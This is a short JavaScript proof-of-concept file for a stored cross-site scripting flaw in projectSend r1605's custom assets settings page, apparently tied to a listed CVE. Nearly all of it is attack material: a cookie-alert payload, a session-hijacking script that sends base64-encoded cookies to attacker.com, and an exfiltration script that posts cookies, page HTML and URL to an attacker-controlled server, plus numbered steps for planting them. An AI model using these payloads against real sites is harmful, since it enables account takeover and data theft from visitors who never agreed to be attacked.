// CVE-2023-53906 Stored XSS PoC for projectSend r1605 // Target: projectSend Custom Assets Configuration Page // Login as administrator and navigate to custom assets settings // Inject the following payload in any custom assets field (e.g., logo, favicon, custom CSS/JS) const xssPayload = `<script>alert(document.cookie)</script>`; // Alternative payload for session hijacking: const sessionHijackPayload = ` <script> fetch('https://attacker.com/steal?cookie=' + btoa(document.cookie)); </script> `; // For exploitation, use the following steps: // 1. Login to projectSend with admin credentials // 2. Navigate to: Settings -> Custom Assets / Options // 3. Insert XSS payload in one of the fields (logo URL, custom CSS, etc.) // 4. Save the configuration // 5. Any user visiting the affected page will trigger the payload // Example using fetch API for data exfiltration: const exfilPayload = ` <script> document.addEventListener('DOMContentLoaded', function() { var data = { cookies: document.cookie, html: document.body.innerHTML, url: window.location.href }; fetch('https://attacker-controlled-server/log?data=' + JSON.stringify(data)); }); </script> `;
